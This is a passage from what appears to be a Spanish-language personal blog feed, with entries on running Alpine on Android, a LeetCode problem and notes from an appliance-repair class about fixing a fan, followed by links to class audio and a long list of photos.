https://imlauera.github.io/busybox_windows/
<p><a href="https://imlauer.blogspot.com/2024/10/taller-de-reparacion-de.html">https://imlauer.blogspot.com/2024/10/taller-de-reparacion-de.html</a></p>
-
Intento correr Alpine en Android (fracaso)
https://imlauera.github.io/alpine_android/
Fri, 01 Nov 2024 07:20:33 -0300
https://imlauera.github.io/alpine_android/
<p>Terminé usando Temux xD e instalé clang para compilar boludeces en C.</p>
<p><a href="https://imlauer.blogspot.com/2024/10/alpine-en-android.html">https://imlauer.blogspot.com/2024/10/alpine-en-android.html</a></p>
-
Problema de programción de LeetCode
https://imlauera.github.io/otro_problema_de_leetcode/
Fri, 01 Nov 2024 07:20:25 -0300
https://imlauera.github.io/otro_problema_de_leetcode/
<p><a href="https://imlauer.blogspot.com/2024/10/otro-problema-de-leetcode-que-me-mata.html">https://imlauer.blogspot.com/2024/10/otro-problema-de-leetcode-que-me-mata.html</a></p>
-
[AUDIO][APUNTE] Taller reparacion de electrodometicos (Clase 17) (Última clase) - Repaso para el exámen. Arreglamos un ventilador. Problema: capacitor, acumulación de polvo y falta lucricante.
https://imlauera.github.io/clase17_taller_electrodomesticos/
Fri, 01 Nov 2024 07:19:51 -0300
https://imlauera.github.io/clase17_taller_electrodomesticos/
<h3 id="todas-las-imágenes-fueron-subidas-este-blog">Todas las imágenes fueron subidas este blog</h3>
<p><a href="https://imlauer.blogspot.com/2024/10/taller-de-reparacion-de.html">https://imlauer.blogspot.com/2024/10/taller-de-reparacion-de.html</a></p>
<h4 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo</h4>
<p><a href="https://vocaroo.com/1goHw8JUamsc">https://vocaroo.com/1goHw8JUamsc</a></p>
<h4 id="audio-en-mediafire">Audio en Mediafire</h4>
<p><a href="https://www.mediafire.com/file/4297x76ctj2hnfz/ultimaelectro.m4a/file">https://www.mediafire.com/file/4297x76ctj2hnfz/ultimaelectro.m4a/file</a></p>
<h4 id="audio-en-youtube">Audio en YouTube</h4>
<p><a href="https://youtu.be/YJT0kJo6iHA">https://youtu.be/YJT0kJo6iHA</a></p>
<p>Las imágenes están al revés la última es la primera.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFUZUMVLy480Kidrq26JEbKcLOCzsUyJE5F6JLLyyoeFhBfzjAvEm3qmIX1PqVeI2Iw6W5hi9Vy_XTxxOMH4dRn0nKGSkZn209y9iMe334R2wWkJvPj1Ukntqqp53hoOU-SseAgcFwMQzwNTF124iz_4vymzD0wHhk0KCd9BnKn0iqaXrXSEMtul-QAqg/s4160/IMG_20241024_172242217.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-oQG2h3bbI5-lhcwG7yxkViSEcT2mnsHtsz4mIP0O46Egk_p2DmU3X_ZXnp6vI9rBAcW3QWpFihga29-ddveRbqC5yFtrxuwB1aejBhWFhUb41V6r0I4KkT_cTw0UnvLvO71TM6_K5GPd-MTXvBdGgG9-ODzIKUOhWnWlh-CwlBcQcVL9elnMRlgWLFU/s4160/IMG_20241024_172240807.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp66ZxDBeVq6JSsEWBkdbMx3b6SMnYBHxtEUZniE6t6bZwCDgTIBinQPn5MCKJ82lE67Vxw0m2mUIcv57ftjwhkAOXrey-tv8ujezlcRiA4HgNBO0bXX7B7Hbdw0EBnDAYBXympkZei0ha3AwjPUA_KozFYqY-uxp98Wu8FyEt3JPtyqV38vlFkg21-vA/s4160/IMG_20241024_170642613.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKIBZo7X3HFH9DZTUMGwe7CT7q-Fd0ktD17JsagNmXPpo6h4xt0veQHbd0Gz5kq-DGXjJVl3TODDbuMxKWFcge-Sn0woAlVwTKZV8nfTwA8Fw-seBJ7QV4lPt8PD_O3d1hpuvs3CvtXencyvv2Xgz8RCL7K__D1Y1nheubnA4iTcXndbKW9T7YpWDKpHY/s4160/IMG_20241024_170437618.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1dVdUsG8Opw2LCyvG9DNmqe7RH0K7wOOt7W90N7vUhKLB0W4YXkMSdXqRaMnSSLzZ6wQQkHerKVteyjeuw-7-7164znz9SSzSqEYwZSdUmwz8RvW04vsiDrcdxs61iVgvZgUmr2uhzf4VAadBX-g1tEYV-kMP79T1bwsBCkfYTUcU915w4dnY2uZm27g/s4160/IMG_20241024_170434803.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbwSvkYsvwv48ddoJgphFySTDqHWtG03X9iikgN-i-C_7gvRVY9sn6t7iQQu6b8EIb_bP5As0AFPQJEpTZ3WJ68pAqrI084B-qMwhIIn9HTEV8am5O0DY-85ZRgWtclkTaT0vdpHYZeurmwy-OK_v2DGug79ljHeJrhd9cvikk1P2zMK_DRYCGyfk5I80/s4160/IMG_20241024_170433878.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqa4rwIhjJ42H1ZBST3CyMlWRfOWyszPMlXUfVXY0of70ClP0pb6CdkIE_1s2CNGbDXX3tzPLcJoaWk5K3GqCk1QkBG37v_crCJeChfnazrX4HA34R_4ONVEJQZKhNgHjqkurZDSfsU9pAwxplO3E0GmwVsa5zbyuy3n3JKUhzoUz-SwobTFQ_97hyphenhyphenLDY/s4160/IMG_20241024_165057683.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYp-uGL4VeJzUTWZ4gcJX2klk6xE-vLeJQ9BzBh2EVzyQv9AK8wndQo-EXAdGuexe5KOlwFpucCm9fuDvXmtxWNv7xCCR-27KHN3nnMiZoxgWmc5EyZtFx4kr3UwcUV2IuqdnwhyphenhyphenYLiCi-cwjEADv7RwwZpOuDNTTllcKaKmlx2CzhmLTd7VKKrZ2SL1k/s4160/IMG_20241024_165058332.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZclJKdAJa3iXTftAa4sBPzThrmv1CZaHv_DXS8YTFXiDLNWFEoqfMygJBfd3XCcR7joF32qHMFqnIXnMbgf0fk52BZiQPe2hqmlWskhqMN-h-H6hInnggTk2ZEzZDqJf1qjyUwLOCV1L5pFNsDa4w2VUooyTSDH7KC2qTLZoY0u_AIvpToULD464u3WA/s4160/IMG_20241024_165055955.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT4Hy9mYxuJ5kZTHHt-MDEKmNj6IHONN2lICkB8lGRjXd86jHTvz9yKjSFcvHm_gIWXRsgxwuh1IXnvTOS4gdTBX6evU3C7Kkbu5pnW1yF4VbKObgkliCjUBf1sPjswco5c2FJ-Hb3vz_ldRS8SFYk7ZlKat_UbquP2aYO9V2_S45Hle5YkPsr2BD5VUA/s4160/IMG_20241024_164645803.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyXkVkkjpt7PyD2xi-UHfWrardwOWp87J8UyvSA1RbjnRRytvc8lxed4p74EZ2o2KIkkFwDLZSx-ZtTpgpdpCjn8CrpJJ_NAzwChYkOulla_107eODTFl69Nm1cKVHdrLB3p6pFg2NlwBX7o808M5ZDivO-g3hMDO7syFX0nqtwgUEJEzNbdrOlTn3OG0/s4160/IMG_20241024_164223090_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi75XuikIY5CpSKf0K_350DYOXJ9Jvtudgd52qceKAhm_0RVIXIX1T6TkO33qDj79l5o0WQzOsux9c17W0SM_yqwBDCbnb_zcGHGxDKiH8oclFvpULazd73rGmYcL-Tn9nJoccBcbHuNl6gA8p4UqpqhQqQ2cxZw0lAf6EzNAUL4XXwDEg-yVgDHkVJk0Y/s4160/IMG_20241024_164223090_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAFAc0bjnhxpwVMl2E6SIiqItiIUibZ67ICHS79qv6b1iS0uBx_61OshxXqby6EtQ6Ku-V881KkMsDU4YN0242VG1ulybIlWhXd4XG9og3rN5hYJOfdbaWrODydtG0E-XTQs428zSDK4ITS5b4bAUYZiNa9LF9daHVsS1gel_swLJto7cgWDgOTz2NDvg/s4160/IMG_20241024_164209225.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5yaXYlKlGnObZL-aJK0YYfqNtYSEG7ANBoLIlPfX7opkhbAXlRchEcxOwQq2Kr5EDCovSGGfoMaPSA9OmMIkcSYXPxwRthH1LhrtNaVE_km99paatQ8q06LZwTp46X_LBAtL41wRb1i86P61XPb9Lof6SKM9pDnB0MX1HKQWsimpDLdNJNbaJwzeTQ8w/s4160/IMG_20241024_164209941.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1Ixr9-IkslBWd4bEFpyMhdvkR4_lbJQDfShwgDpmnEe-ehIFTnqBGVeWVHBCXfA81Oy00DRGkAEbCu9OjXjyBq4V9z3-dB_6fOfVLCUtOJc9CySTrkbfRC1mWNd0_zAhw6DABNLGHk4PNkvIGby-OOgjICO1-ayKgBQaxebYogf0xS5pB88bgL1MjMuo/s4160/IMG_20241024_164201200_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitzhKcG2FDr_WDgT7Z_mw8-pupe9EQT-28Qu6bHQPsFyvDVuApsQkJXkY1gLgjaMOfNddPWhR54mvx5k-6dGtwrAZ4PF78dqPRpzrCtrmZjaK7zpWZEAGPIoR50OQX-rbfQVZ7hM3TlTpZ5muC0Ye-wqpAAPDpN9Hu-dN4gM-rx8db0OQMc1ie_6bOpig/s4160/IMG_20241024_164201200_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBhsh8rK4VJR0Fgf5tXapIEFKSxpCORtEGQjEYdzAQhtBT3pvpYVJvFewGxSe_9JHYI05w8ySoRfNmidq9Oa_izRaWqSB_y_wmHyRfncbPdzlaLEu6sBW2ycay6KbmCteOfQ6VssHoN83Y1vjyiLbit2zIq2pL5XcJa26D_DZNSH8lwEwaDmdtSEx4TX4/s4160/IMG_20241024_164157450.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfeIJrr7Otocy9FIVMDrwFkBZBx-8HNMNI1wKQauqlFmGCaxhB2tJy3OjetUKIrPVGd32r6nFv0qbRqdb9rPnTGvDVwZIkPUl9mPyYbU-4zWY9FmA_1rTot64pvYwws2qxULpARBTGMEXNcR74EWO1gcZjTSBN-ZkZq51fhl9FdpK6tmxLBbbfOKNMSM8/s4160/IMG_20241024_163738393_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMNoat1KacHMQYf7AUjmwkxb7JA3Il3LIEKV291B-UdW0NfR_tnMZQKZMcwOifhEfBRtJJFOCOkgvHk0Kj9mU7sr-fbdgSc5BLMYAceoxp6SjzzpBu2zPC3OS4B86YThJcpfP52uGvCjj1W-iH2D8HBesfepHc2CuFyBoJA_iDHPnIM9Dzf_n6xDWCY0/s4160/IMG_20241024_163738393_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMC3YVyHDvRCL3b1DtmGijEHKGH0CP_W6Pimji9oss48huKeGxqitCKLiCA7DSEIZqwMq9z5xSZPFNKTp9PWnY7yqBVB7E0cAqrYJcaKpgZh5WdCwOqFKrXz0kEae9CyjYIsug4U9j6HxZoZgHTCKuVJ8_afaAtaR-LL5i6c5ZPWnE3Gg3sH-kFo7-fQA/s4160/IMG_20241024_163737344.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXAaa7CZRz8AjA8RZxMiIfvrfBfiDqJxbZoyAd7y-LCVRFqlvn6heTzh95Zay5xuABTIEKulw38p54YIhlBnw171YnV1ojp8Co9NsmOMn77t-WKZdsUJMgq2M7bgSutxy3y9x6qqaHNeTve5LM6kkBM9gBCf5bcXz5oyoJS7J04HJ47ewvz5mT1A6tXWQ/s4160/IMG_20241024_162530471.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii9l-RJWzx3fx5GfssYM1ysMivOEKnKgViN9qQVvhI54UxZAzvXnXH6okK5Sdv-FTWDPt7J7ZJoQ7JH5Nipe04kMiceRuLdH8v4c-ZyN0BcdODrEj_zbMtEqRk_LA8sSI2BSPvyFjaH4kFxY3hJvYkKvFLFykxODApw5Et3XbSyXUNBsZgmiQ6z96Rq1k/s4160/IMG_20241024_162528746.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgftucFYjFye4qXLJhyrTdMF0dNW8CoIlw6SaO1EeNbOxsD8SotPMxgwgxo_qnRsibM4kcNi9iALZ_HvpHjrtZt8xUtnGoS80M_kXmoyomFM1Nx8X5L2DLJXALDOD0RojT_9TyoPUed5iuzly93Yt_hG2xnhjK5aFu6ZystrxJQLQdBry7YrT3IrMeIrsw/s4160/IMG_20241024_161410847.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-81nK5YSLflkM8xHTmMLF7MjXa2dPozIUiKAWXsC6eQAa6kKY6AGdG7TI7tE405XMjbwdfg_rXYLEv6DsFnr89awdjU2q6RUFVKKuWivQ04PVr8VlE70IjvDglOlQCwSid-rZi0Itvde_uC8xO-Xh4LrMzNM8z_Z6G8qj-qfV5FLeBFXtfUfkloX9C0o/s4160/IMG_20241024_160326813.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoBjNX4ihRSIaZkIrmVNjnzymH3rTmUQIcUuUCjGZqETjOnIActxHfFStN4h4AzfiQaJwiyeUXR6mbyq9IEeifGas39KU-ZogHHMydObgRPUoRUE3J_XJp_6id_9la6f3wQBzsvmzXxSB52aqj8wfEUh8lKLAnJJoHd7o9PSvytd38_r96iiJwQq1Sf1o/s4160/IMG_20241024_155953005.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFd-pYkttliaG-H0PZ_M62XQFLpE6Z2zT_ORTJCcy7yWjWHwpWUm2w7EYAQ3tLh1Xmaf4eNAlEAp6S2DQEq2KvBeOFCrf35dtbS9nNAUdNIpHMKh2JhAdTSOtRbhm6GaZG_ehSsfW2idt_ntLTOz9LmMF8EyaWuYV5E2nSSZNrb2dOcsTwMz0DnmaSFY8/s4160/IMG_20241024_155951895.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQwLnztizd1G9Kqexntd6hSQMkssCNiYVSqowSCPmVF48gNgc8MDxqLQb-SeXa4DHjN1GeAvaDF6GL1aAmNaFaIg79v0gG0zfclo6BPNqZwUX7umvhc3Rofa-IG6pTYGnbYubnCAm6iHn_nKU_oukfbrA29jDG3ggrt71n2g_vn7pACUk0I0XSxnGbgW0/s4160/IMG_20241024_155843643.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigI5IG18iWNVSh86IC6GM_I78E7ScuS_0ThKYiiOeCNyD_Pd-uh2MrwwGTFobEbC-6-7NC95xOtwTUuaGnZnET2QzU6pLqsOsaRcc1ArcZVtU_EM6U8Kay7isAna8-mTXTKFsqQWuVPid6fj_spjs1NkME-xu2dPV0KuQJXkmeuawJocdU6uxYOAPsZ0Y/s4160/IMG_20241024_155742113.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbkM68uEM87H_UYZBABoSLOxuJPEF-HGaOqidJreqQsRmwpL1lNGVn-ASNKqwbKhUVXle-Z4EM94OiKe1rG_TuzFtmVfVSaWTW6afcRU0TyKWDtx2H0N_WSXyV9M9wr-fcC7lKAeagFOhphSH7oeiCfFJpwd3tCBW2vnmAEmIzYt-RHGSxi0o3PNQjQ6A/s4160/IMG_20241024_155538212.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL5NKUGapImYj9kda96DXnKoidP7U9Zx3RGmx-N6ZvDwMeZoB2A9lksbEWdKvGrQAnXCDOP8wBe184FnsRZBSrsgafFJpPJmtRP8YRm0WDMXZDHxO1PV_160qYFsmDrlFvGlt7syBrHEk60Lei9T-ueWfX_0p0MFtTGmtz8P_3ZFR1XG70fRCrpGhsFuY/s4160/IMG_20241024_154413108.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglhZhnmPFZuQPYBgxtGqwfiWlf2MyMUXQBDCuvj-SZO1-wby5z5cYvEebq8x2CNElh9rvaenp23-oEAfN8IWenk0ZmoHoWzMZaG2OpiVSABf3dDJ6YZrk4P0iGkIi4Bb5QVrNQROIyWYf09SK8JJG8um5_P-SsOVLxrHO0zXS0p-7e6azJAYKi8cHebSM/s4160/IMG_20241024_153819413.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjntUAjmd9RA85NRAvvO0I4AvaUglGSkqMWDoWsPjXkQ9ywXaFKaPs3k4Rv0SfrZ63Y24qAQZeeyIqSsZ4_jt73sIARA3qMUMIkU73GswkKfGoTEQXRAOQYI8GsHPFwnZCyBD8fQdD9ENuTCyegTWdHfvCjsXC8Pw-p1UE41LT2E4xoEFm9eSIDBEQQnQg/s4160/IMG_20241024_152850661.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEaxYwI0B4Vpb_EfVFBSWSDpILBDmZQIm-lrGE18aFpca384OKQC0CNbM0Qcnbr5LBa7xdOTk6fUSQWwqtWw4iZDLD9T5SiFT1BYnNu2DjS0oROl794d3mAM73T-SVI9iYwnEkzEQUrmExkxLjm2kYsDmv3-xTkdD_-6aFdoJK7Sn9nZ6kfY-gGkh2FZA/s4160/IMG_20241024_152505815_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS0kg6hUzoOkKiXte9L-DnUYduPcAaj4kCR4EDzFvNowAKJX1SHPwF-vBlZMsKXoZ219gs0Uxi3rkorlkWFQCNUhzDOZk3_a35TFmoMytHIwBG7Vsjoo_EApey2QM7ZXSmyI2pM9vF7tksKwoTKY6x8tw43-MOIYAoJAYXNosIiFLgec-7HEXOCsqaKok/s4160/IMG_20241024_152505815_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEgA90wSvDjS-6zdlfkq8BR1MKwIHke8klshVM4dlGQGJ9NDDOV8djmE7ByNyDe21rmn2x4RC6Y96olwXLL7BjxXsT7gMSbSPlpjvkEOMd2yYx_0kSu7016ck0L96_dbT6RmI7nchnDn1LuQbNhjcrhDMBvauYoKzxaNN3f0zMWF1ctmuiyIIBbC10TcI/s4160/IMG_20241024_152455533.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6xpTGkrK93TjYCH6t_n-IM05zSrQmVhr4SIbVP_3nL3ShpGw61iN5DJtuIzCZE_6efjFS52-OE_mnsQITG7GPAQLILSvIOSxvstmBHfUD6DHLR7YxLTj3PrtHSPpwWAKMW6TZ9072g86OFjvMB8SubVjfOMJd979OIOd8evPhttgkMKSVJ4O780fxYoc/s4160/IMG_20241024_152318012.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgun4a28VUQhOiwebawgwtXVS4a7IRaxNileEBC9Tyo3uqXtI35-KEEinxtJgGmNyWYDvmSWIQg8zkcwRQEJiXegUD-dsOVpjZGcyxzXxG8VmOnYdKR6v5jJ4SdwUf3MiDJgLsa63eOUKkS84YwpH2b8bJooEJCcdmK6_7-n8nwmWE8d8dmUqTM8nmFwVE/s4160/IMG_20241024_151719217.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7nxAUA6K8CwtaPawV_ZNyreJamJShFO7QxNSXlg3rK1wvYzAY9GZY7WgXr278nzXjhuNRDaM7kCr_dFscDVnpI0YQGZ7UxU5shTVnuCiE7ZORNfK-CyIFh0APfGdDdP6kKi7LJAlEBC3O4PNBeD-VDe3e0dSWdrgH1Hl5feWvUFTT4e7K6Mq0-V-GRHA/s4160/IMG_20241024_151715561.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJrg3zPUIoNZK1KhcKgrnvbz4rBSrrFkqRHBEzXPU_BDCGT6YIBsGJC0pWwekAzZHilBSxgxCJTig64QD0c3Iv6WAn3Sz_iiEP-18nskQ7VLVWjp66TqQ3XBG_R5Q7iWZZRMEbwdQ_PEwVx0tP3jipexSoJQ0BuvhSk4ARL7vpfqxwx_9qg7MYN5543N8/s4160/IMG_20241024_151626177.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEvveYtIfPcB8rs5cUiK-VDLyqzHpZ20SqOx1wAMBioAxklAo46pDu13-bR-fF7A_2OUllYUtwtfPcdqBjF6wz4Hz1hi46HW1tN95SeW41Jjk_rR_Pr6zm9wZ1lnu35BKFC3r2svaHGFN3HWEkceLNsLIR32JsrOCQHOquUFCY4qq0tbbRFfi12CTs9QY/s4160/IMG_20241024_151550198.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAgeMEo44d6VznQNhkp2XiG2nVmL41Jt1cp_BrGcDXPx8-580p-YOXqF-_HQQSXhp-_MauxgeGWwIwT66BCWReQI7-ezWXGAbRulpT8TFDkASakXvhdUiT_TZkMDNzoMMBlXfB_R9JJtl3ZCTUSFoTlWS9gsB-9rMZUYVZ4umSA-FiG74lapjPdl3j4mk/s4160/IMG_20241024_150118746.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKXKxIXfU91iUpqlKFnKLHJMRsfDzOuSifbEBVYmus8Lp4O7Ef5HFOy4G4nMwZABqmgaA1Z-jTk_ZWgBFbnLcUIpkQo_GdpoySCeBxu5dC1iVf20yfuUQCVN3Wt613J10uaktEi_5h2qair8kRs9i3HumJRUGOI4bwTRaWqEwelPzY744zIVj2O1nwHaQ/s4160/IMG_20241024_150024552.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0gDGXknH5vGvZ5ZP7pMtO7G2kzafES3pNLPYJ-U-pmDF2NA1myrQ-pJmu6_F6RbLDdw35-lYBEp2O0WU6bQotA5fh7_fC4MidaQAVfM76fto20pNPbFv5er1tmnzI7KnUzhx5zsCPKtLDedRjDPjhwSmFymKqVKHAeVymr9dN941026nmh1GrKUsN2U4/s4160/IMG_20241024_145934687_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKnzmXLmN5zEcP0ZYOun1Wp5s0IHZMlNmQ8UhDF2Z1gDtv7VZFEUO0RLlhounkDZOvtHv6FKJJ4QlAofpenXVDUTjfTf1mrYBFIbKchARWKHUS8sCirZunuVtqVx_PM3yLfm8I7QkJILJpVoLWnAnbWXPC_VFF3O_gKigcJkXOQkZz7eDH9D3AEF8TBWU/s4160/IMG_20241024_145934687_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhNIt-B0q2XbVwjMKReVUTFhqAkT5PuJ7amcdUqDLy0MlueJ0FJ_0LN1fpJdbMdnJsNpxMtTHWJtGoIFUSXq-Asx3BG1AhfWkkydxlEhnhlUGfL8AkTLqHVRm6fu_cjYp5nOkRTMeuULAUJR86fRCeWTwrmjhuH_ARgB7n-YH4rn2SLngR9zgyRvKZSeo/s4160/IMG_20241024_145932614.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7Un8ZqywmU7b-oQJxFsOAMs9DjlnPcMzyOxbjHdLz-KrsvxYgTMuVleGKROM-J8u5dCq-g60WMbj0NU6omxuHTGZttXo6xOApe2M5zzvNLwMggFaraLww6F-9agb94cyok4AngdQDvKHKNIJvBB_0H3MJhTcSg0TnsaVDBFYhyK-Pm5zmEAzCvv0pOpI/s4160/IMG_20241024_145931596.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOvE5m5N0RXs84q3puBLTOFN3xNrQnxU6opze5v-7l_p8rMtvAbkeIw9AlZKOmpbZ51abWrwqKO9XNoE6AljLxAFXbLSk0psZkp_nCmM2NXEqhk5ULIKL7e3n5CburqZ35lIuZt4chsgacx4oCvs5x5dPyvQI11dkHwihHi9IrbcbvSum3vDh17Sg3yBs/s4160/IMG_20241024_145837845.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk4zk1XKxmXVZvAjEgDdLOz1Bho-jbvJh7R-dh_mC8Oj6fRzvGbSgciyfTu2P_0zEmqa0-7HzuDxWda8kZLCIFuMTB71O0C_SOTuYAzw1GLdNiVBlBC6onfl_gnhrORsAWcEUen1qni2ZnwOmQ-8lcr_4spoo-zUJqaPzSZMMX4gg4xU78gsWzcckk43k/s4160/IMG_20241024_145836525.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEiKhx7nZHQYWXo9EvFzEB69Jg_TIlh0VYD0OiuZUO5fdLYabEkhyphenhyphenidyNNPSfB66NsGYzmE00BfibU15HsMW7D7kF1qRao-M5Zpbg2bL58EjwiJ3isJ-h_6uWM_HxKYgojfNcWMTkaUkGaxwXhjVrLtnPvpm-IsrhvdrlDzAFJm6m7T2uUwLTdTbOHc6k/s4160/IMG_20241024_145815372.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh140EjKd5KJcxN3IbG6TBMJ2dA9KO2P6htDJ99pCzmz3CP1e2Q0CfBd1skiZa75_KLTV4Al-Pxa7x41f68Y67S0beOU6rlRy4Z_Jn6R5h6C1z5KuI7VjlyYZ7BIBlOHqcZ3OT7hhvKQXKGOtA9Cj4e0uvgPQJujH6pxp3_MFJ0_AzzH3q6vOLYkG5w8xo/s4160/IMG_20241024_145449345.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiusfy5o0RyftWaMMkTA7gnIOkDzDdu9AodkMhLyEjP7LaSU7kIW4V6fuczmv1t1qu0WNwvZY7yu2S8EUwsYklRzyCP0_oBlphQpAm8MFK49wh6piBWNBqVC5AgVHlrqIAl6pAUBV7f2nmJ9bcU1V8HBt6Q1J6_g4YVXo8rzw_weycoqB45LLCKiEHl5fk/s4160/IMG_20241024_144352368.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwwvdXi95iZ9HGgeZ_3nSLGnP5g05sQIPL3HVa_Ig19E9fzHdjC56rvLhDPDw3EIFyslHS2x3O0Vz5K1tpOYHutdvCEcKiHhoLdlLm5aOFTDzMwK0A-NYOwSxpdPTdH5iHiViUCVsdSrVX5INH7-UReZA-P6yI7wHezTP5qVP-MJ0yzPK_2MU0S8sj8Hw/s4160/IMG_20241024_144101546.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTGwy0yQ4EDqfAl_pcpsWoGssb2__JXhNzCBZnOTsktjFppWz0RPFYVmy1Jcdy2fEBiz6p6iK05i1AcTcjo2qDisaBAbeBpor2a4lJldKcnmE_iLHsZwjRaHHakEUSCqzWykMiD5rkkfHSNx5803dAKCK_boWuutLlHqJUPX8oXCLB3SVrCco6BkzYH0M/s4160/IMG_20241024_143648195.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji6Sp_RrIQVl5lQ8y5vzLgrr8l4-zNes-w8wOrhsxfGysQoCF7_Yn2EUbHAsz0L_Fw6hGvRfoAqg_tMwg0mf8Vdca_LPPi5fJROOFV5C8CxELI0ABsg7jyWyhKBZbcBrUq9NAI5MeyT66T5aRnwBWFr-dlbFWQKEcYtIKyQAvbmczp48vDn5A0QBzBYSM/s4160/IMG_20241024_143258462.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXh3v3WYFdZ5p-Ne-SsNAHcb4LcrdQVxumnLWqlzYDS_JwxVPNR5PM0MDjZs08IDbJeRx47_T1EBhFjr4D8swjYPMUI5E2J-jsVpQi7KSTtJbZiGTip94Ji9ETSA4d-NKU-Lam1MIFQGQcIVMkW-dRC0Ll4Cj6rdU_n4SiWHShkqfo__9IbopgNiuhXmQ/s4160/IMG_20241024_143129731_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoRJWaGuuAnjde6V_t9wEqZmS_Avk8h9CrMHbVR5MhbDF2JzeEwhUsaLyX41GA5oDXn2rkVb-LZcb9FRESa68XqCtAK-K2_nyIxg3LuhjMgPvcw5HnCTY6ehZ3zXI9M8LjyeL8iemf5ebefveEruqA4hS41rZfeWIKSPA2ZSv2HZlhyphenhyphennOkYNFadwcs-XA/s4160/IMG_20241024_143129731_BURST001.jpg" alt="">
